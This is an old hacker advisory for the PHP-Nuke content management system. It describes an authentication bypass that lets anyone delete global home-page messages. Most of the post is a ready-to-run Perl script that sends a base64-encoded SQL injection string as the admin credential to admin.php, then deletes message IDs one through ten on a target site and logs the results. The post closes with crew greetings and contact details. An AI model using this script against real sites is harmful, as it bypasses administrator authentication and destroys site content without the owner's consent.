[XSS]/SQL Injection PHP-Nuke Delete Message(s) Bug by bima_ Php-Nuke is a popular freeware content management system. Based on information at : http://www.mantralab.org/modules.php/modulo/news/lanotizia/%5BXSS%5D+PHP-Nuke+7.4+Add+Message+Bug An attacker permitted to post to global home-page messages. I found that we can delete message(s) too. I wrote a little perl script to prove it, i used POST method. Here it is : ******cut here************** #!/usr/bin/perl # use LWP; $log = "pos_phpnuke_deletemsg.txt"; $Agent = "Mbahmu/1.0"; $proxy = "http://172.9.1.11:80/"; # proxy:port ... $browser = LWP::UserAgent->new; $browser -> agent($Agent); $url = 'http://www.sitewithphpnuke.com/admin.php'; $browser->proxy(http => $proxy) if defined($proxy); printlog ("\nProcessing: $url\n"); for ($a = 1; $a < 11 ; $a++) { $mid=$a; $loginpost = $url; $loginrequest = HTTP::Request->new(POST => $loginpost); $loginrequest->content_type('application/x-www-form-urlencoded'); $loginsend = 'mid='.$mid. '&ok=1'. '&admin=eCcgVU5JT04gU0VMRUNUIDEvKjox'. '&add_radminsuper=1'. '&op=deletemsg'; $loginrequest->content-length($loginsend); $loginrequest->content($loginsend); $loginresponse = $browser->request($loginrequest); $logincek = $loginresponse->as_string; #print ($logincek); if ($logincek =~ /(500 Can\'t read entity body\: Unknown error)|(411 Length Required)/){ printlog ("$mid attempting delete message sending OK ".$loginresponse->status_line ."\n") ; } else { printlog ("$mid could be failure ".$loginresponse->status_line ."\n"); last; } } #end of for sub printlog { print @_[0]; open(lo,">>$log"); print lo @_[0]; close(lo); return; } ******cut here************** ---------------------------------------------------------- *very very very special greetz to: [+][+][+] my beloved anna [+][+][+] *shout to dhanny firman syah : keep fighting, bro... *special greetz to: [+] www.neoteker.or.id [+] www.echo.or.id [+] www.bosen.net [+] qq [+] tiyox [+] bosen [+] ftp_geo [+] tiong [+] all #1stlink #neoteker #e-c-h-o #batamhacker #kartubeben #antihackerlink crew @ dal net [+] all #1stlink #romance #hackers @ centrin [+] sj, alphacentupret, boeboe, fuzk3 kendi [+] y3d1ps, z3r0byt3, biatch-x, K-159 *contact: [+] iko94@xxxxxxxxx [+] www.geocities.com/iko94 [+] www.neoteker.or.id [EOF]